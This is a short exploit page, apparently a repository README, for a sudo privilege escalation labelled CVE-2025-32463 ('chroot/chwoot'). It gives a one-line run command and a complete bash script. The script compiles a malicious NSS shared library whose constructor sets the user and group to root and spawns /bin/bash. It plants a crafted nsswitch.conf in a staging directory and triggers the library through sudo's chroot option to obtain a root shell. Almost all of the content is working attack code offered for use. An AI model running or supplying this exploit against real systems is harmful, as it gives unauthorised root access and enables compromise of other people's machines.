CVE-2025-32463 (chroot/chwoot) - Sudo Privilege Escalation Exploit Quick Run chmod +x exploit.sh && ./exploit.sh Exploit Code (exploit.sh) #!/bin/bash STAGE=$(mktemp -d /tmp/sudostage.XXXX) cd "$STAGE" cat > xd1337.c << 'EOF' #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void xd1337(void) { setreuid(0, 0); setregid(0, 0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p xd/etc libnss_ echo "passwd: /xd1337" > xd/etc/nsswitch.conf cp /etc/group xd/etc/ gcc -shared -fPIC -Wl,-init,xd1337 -o libnss_/xd1337.so.2 xd1337.c sudo -R xd /bin/true